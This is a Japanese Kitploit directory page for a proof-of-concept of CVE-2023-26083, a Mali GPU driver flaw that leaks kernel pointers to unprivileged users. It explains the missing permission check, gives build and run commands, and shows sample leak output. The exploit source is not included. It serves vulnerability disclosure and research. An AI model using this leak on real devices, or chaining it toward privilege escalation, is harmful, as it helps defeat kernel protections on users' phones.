Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-26083 — CVE-2023-26083-Mali-InfoLeak-PoC | Kitploit
ツール/GitHubGitHub/noverisp3/cve-2023-26083
脆弱性分析エクスプロイト情報収集ハードウェアとIoTセキュリティ学習と教育バイナリエクスプロイト
GitHubnoverisp3/cve-2023-26083

CVE-2023-26083

CVE-2023-26083-Mali-InfoLeak-PoC

リポジトリを見る
124ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-26083 – タイムラインストリームを介したMali GPUカーネルアドレス漏洩

このリポジトリには、CVE-2023-26083 の概念実証(PoC)エクスプロイトが含まれています。これはMali GPUドライバ(Arm Mali GPU Kernel Driver)の脆弱性であり、特権のないユーザーがタイムラインストリーム(/dev/mali0)を介してカーネルポインタや機密内部情報を漏洩することを可能にします。

脆弱性の概要

Mali GPUドライバは、プロファイリングとデバッグのために「タイムラインストリーム(tlstream)」機能を提供します。このストリームは、生のカーネルポインタ(例:kbase_context、kbase_gpu、kbase_lpu、アドレス空間、アトムなどのアドレス)を含むイベントをエクスポートします。通常、このストリームへのアクセスにはBASE_CONTEXT_CREATE_FLAG_MONITORフラグが必要です。しかし、KBASE_IOCTL_TLSTREAM_ACQUIREハンドラでの権限チェックが欠如しているため、任意のプロセス(モニタフラグがなくても)がタイムラインストリームへのファイル記述子を取得し、カーネルメモリアドレスを読み取ることができます。

影響:

  • カーネルポインタの漏洩はカーネルASLR(KASLR)を無効化します。
  • 他の脆弱性(例:使用後解放、任意書き込み)と組み合わせることで、権限昇格や任意のカーネルコード実行につながる可能性があります。
  • 漏洩自体が内部ドライバの状態を公開し、フィンガープリントに利用される可能性があります。

影響を受けるバージョン

  • CVE-2023-26083の修正前のArm Mali GPU Kernel Driverバージョン。

ビルドと実行

前提条件

  • Mali GPUを搭載したデバイス(例:Exynos、MediaTek、一部のRockchip SoC)。
  • ルートアクセスは不要です – PoCは特権のないユーザーとして動作します。
  • カーネルにMaliドライバが組み込まれているか、モジュールとしてロードされている必要があります(/dev/mali0が存在すること)。

コンパイル

コードは自己完結型でスタンドアロンであるため、標準ツールを使用して簡単にクロスコンパイルできます。

1. Android向け(推奨)

Android NDKツールチェーンを使用してARM64デバイス向けにコンパイルします。異なるAndroidバージョンでの動的リンカの互換性問題を防ぐために、静的リンクを使用することを強く推奨します。

aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c

2. ARMベースのLinuxデスクトップ/ボード向け

Mali GPUを搭載し、標準のLinuxディストリビューションを実行するARM開発ボード(Raspberry PiやOdroidなど)でテストする場合:

gcc -static -o mali_tlstream_leak mali_tlstream_leak.c

実行

./mali_tlstream_leak

プログラムは次の処理を行います:

  1. /dev/mali0をオープンします。
  2. バージョンチェックを実行します。
  3. フラグをBASE_CONTEXT_CREATE_FLAG_NONE(モニタ特権なし)に設定します。
  4. タイムラインストリームを取得します(脆弱なioctl)。
  5. 数秒間タイムラインパケットを読み取ります。
  6. カーネルポインタの漏洩を解析して表示します(*** KERNELでマークされます)。

出力例

注: この概念実証(PoC)は、2020年4月1日のセキュリティパッチレベルでAndroid 8.1.0(カーネル3.18)を実行しているSamsung Galaxy J7 Primeでのみテストされました。

on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)

Raw hex dump (3805 bytes):

0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54

Parsing packets:

Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0
ツールをダウンロード